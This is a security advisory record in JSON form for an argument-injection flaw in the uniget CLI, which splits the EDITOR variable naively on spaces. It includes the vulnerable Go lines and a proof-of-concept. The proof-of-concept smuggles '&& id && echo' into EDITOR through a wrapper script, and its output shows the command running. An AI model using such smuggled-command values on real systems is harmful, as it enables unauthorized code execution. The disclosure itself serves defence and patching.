{"id":"GHSA-qmcq-xw74-w667","summary":"uniget CLI has an EDITOR Command Injection","details":"### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper && id && echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // ← VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script && id && echo\" splits into [\"script\", \"&&\", \"id\", \"&&\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat \u003e /tmp/poc-editor/editor_wrapper.sh \u003c\u003c 'EOF'\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat \u003e ~/.config/uniget/hooks/pre-install/test.sh \u003c\u003c 'EOF'\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh && id && echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: && id && echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n\u003cimg width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" /\u003e","aliases":["CVE-2026-55061","GO-2026-6248"],"modified":"2026-08-18T14:56:13.372990967Z","published":"2026-08-17T17:46:05Z","database_specific":{"cwe_ids":["CWE-88"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-08-17T17:46:05Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667"},{"type":"WEB","url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"},{"type":"PACKAGE","url":"https://github.com/uniget-org/cli"},{"type":"WEB","url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6"}],"affected":[{"package":{"name":"gitlab.com/uniget-org/cli","ecosystem":"Go","purl":"pkg:golang/gitlab.com/uniget-org/cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.27.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-qmcq-xw74-w667/GHSA-qmcq-xw74-w667.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}